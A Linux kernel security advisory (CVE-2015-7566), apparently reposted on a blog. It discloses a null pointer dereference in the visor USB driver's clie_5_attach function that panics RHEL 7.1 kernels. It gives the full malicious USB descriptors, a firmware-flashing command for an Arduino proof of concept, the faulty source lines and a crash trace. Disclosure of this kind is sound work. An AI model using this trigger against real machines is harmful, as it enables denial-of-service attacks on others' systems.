2016 m. kovo 11 d., penktadienis

OS-S 2016-09 Linux visor clie_5_attach Nullpointer Dereference CVE-2015-7566 P1

OS-S Security Advisory 2016-09
Linux visor clie_5_attach Nullpointer Dereference

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: CVE-2015-7566
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (visor clie_5_attach driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-09_visor_clie_5_attach.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device requiring the visor (clie_5_attach) driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
  bLength:                      0x12
          bDescriptorType:              0x1
          bcdUSB:                       0x200
          bDeviceClass:                 0x3
          bDeviceSubClass:              0x0
          bDeviceProtocol:              0x0
          bMaxPacketSize:               0x40
          idVendor:                     0x54c
          idProduct:                    0x144
          bcdDevice:                    0x100
          iManufacturer:                        0x1
          iProduct:                     0x2
          iSerialNumbers:                       0x3
          bNumConfigurations:           0x1



The clie_5_attach function of the visor driver, which is called during the
driver initialization process, expects an OUT-Bulk-Endpoint.
Due to an incomplete sanity check, the visor driver tries to dereference null-
pointers.
This results in a crash of the system.




****
$ nm visor.ko.debug | grep clie_5_attach
0000000000000030 t clie_5_attach
$ addr2line -e visor.ko.debug 6d
/usr/src/debug/kernel-3.10.0-
229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/serial/visor.c:610
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/visor.c)
        ...
607
608 pipe = usb_sndbulkpipe(serial->dev, port->bulk_out_endpointAddress);
609 for (j = 0; j < ARRAY_SIZE(port->write_urbs); ++j)
610     port->write_urbs[j]->pipe = pipe;  /* if there is no configured OUT-
bulk-endpoint, the kernel tries to dereference null-pointers */
611
612 return 0;
613 }
        ...
 ****


                [*] Configuration-Descriptor
                  bLength:                      0x9
                  bDescriptorType:              0x2
                  wTotalLength:                 0x27
                  bNumInterfaces:               0x1
                  bConfigurationValue:          0x1
                  iConfiguration:                       0x0
                  bmAttributes:                 0x0
                  bMaxPower:                    0x31
                        [*] Interface-Descriptor
                          bLength:                      0x9
                          bDescriptorType:              0x4
                          bInterfaceNumber:             0x0
                          bAlternateSetting:            0x0
                          bNumEndpoints:                0x3
                          bInterfaceClass:                      0x0
                          bInterfaceSubClass:           0x0
                          bInterfaceProtocol:           0x0
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x81     IN-Direction
                                  bmAttribut:                   0x1      ISO-Transfer
                                  wMaxPacketSize:               0x404
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x1     OUT-Direction
                                  bmAttribut:                   0x1     ISO-Transfer (change this
value to 0x2, which is the value for bulk-transfer without additional
features, and the visor driver won't crash)
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x82    IN-Direction
                                  bmAttribut:                   0x1     ISO-Transfer
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.


avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex


The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
This bug was fixed upstream. A CVE number was not assigned.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283371
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cb3232138e37129e88240a98a1d2aba2187ff57c


Kernel Stacktrace:


[   34.568077] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   34.791731] usb 1-1: New USB device found, idVendor=054c, idProduct=0144
[   34.795463] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[   34.799619] usb 1-1: Product: ĉ
[   34.804592] usb 1-1: Manufacturer: ĉ
[   34.810144] usb 1-1: SerialNumber: %
[   34.872285] usbcore: registered new interface driver visor
[   34.879838] usbserial: USB Serial support registered for Handspring Visor /
Palm OS
[   34.890481] usbserial: USB Serial support registered for Sony Clie 5.0
[   34.897769] usbserial: USB Serial support registered for Sony Clie 3.5
[   34.914162] visor 1-1:1.0: Sony Clie 5.0 converter detected
[   34.920288] BUG: unable to handle kernel NULL pointer dereference at
0000000000000058
[   34.921136] IP: [<ffffffffa039306d>] clie_5_attach+0x3d/0x60 [visor]
[   34.921136] PGD 0
[   34.921136] Oops: 0002 [#1] SMP
[   34.921136] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT
xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables
ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat
nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack
iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm
ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4
i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif
cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[   34.921136] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[   34.921136] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   34.921136] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   34.921136] RIP: 0010:[<ffffffffa039306d>]  [<ffffffffa039306d>]
clie_5_attach+0x3d/0x60 [visor]
[   34.921136] RSP: 0018:ffff88000bd23a80  EFLAGS: 00010286
[   34.921136] RAX: 00000000c0000200 RBX: ffff88000af979d0 RCX: 0000000000000000
[   34.921136] RDX: ffff88000be6b000 RSI: ffff88000af979c0 RDI: ffff88000af979c0
[   34.921136] RBP: ffff88000bd23a80 R08: 0000000000000000 R09: 0000000000000000
[   34.921136] R10: 0000000000000000 R11: ffff88000c3b9800 R12: ffff88000af979d0
[   34.921136] R13: ffff88000c525830 R14: ffff88000af979c0 R15: ffffffffa0395200
[   34.921136] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[   34.921136] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   34.921136] CR2: 0000000000000058 CR3: 000000000d2a1000 CR4:
00000000000006f0
[   34.921136] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[   34.921136] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   34.921136] Stack:
[   34.921136]  ffff88000bd23c18 ffffffff8145fed1 0000000000000007 000000020bd23af8
[   34.921136]  ffff88000c525830 0000000000000000 0000000000000000 ffffffff00000000
[   34.921136]  ffff88000bcd0000 ffff880000000001 ffff88000bcd0090 0000000000000000
[   34.921136] Call Trace:
[   34.921136]  [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230
[   34.921136]  [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[   34.921136]  [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[   34.921136]  [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[   34.921136]  [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[   34.921136]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   34.921136]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   34.921136]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   34.921136]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   34.921136]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   34.921136]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   34.921136]  [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
[   34.921136]  [<ffffffffa0398000>] ? 0xffffffffa0397fff
[   34.921136]  [<ffffffffa039801e>] usb_serial_module_init+0x1e/0x1000 [visor]
[   34.921136]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   34.921136]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   34.921136]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   34.921136]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   34.921136]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   34.921136]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   34.921136] Code: 28 48 8b 57 20 0f b6 80 28 02 00 00 88 82 28 02 00 00 48
8b 0f c1 e0 0f 0d 00 00 00 c0 8b 09 c1 e1 08 09 c8 48 8b 8a 10 02 00 00 <89>
41 58 48 8b 92 18 02 00 00 89 42 58 31 c0 5d c3 66 90 b8 ff
[   34.921136] RIP  [<ffffffffa039306d>] clie_5_attach+0x3d/0x60 [visor]
[   34.921136]  RSP <ffff88000bd23a80>
[   34.921136] CR2: 0000000000000058
[   35.341720] ---[ end trace b239663354a1c556 ]---
[   35.347341] Kernel panic - not syncing: Fatal exception
[   35.348314] drm_kms_helper: panic occurred, switching back to text console



Komentarų nėra:

Rašyti komentarą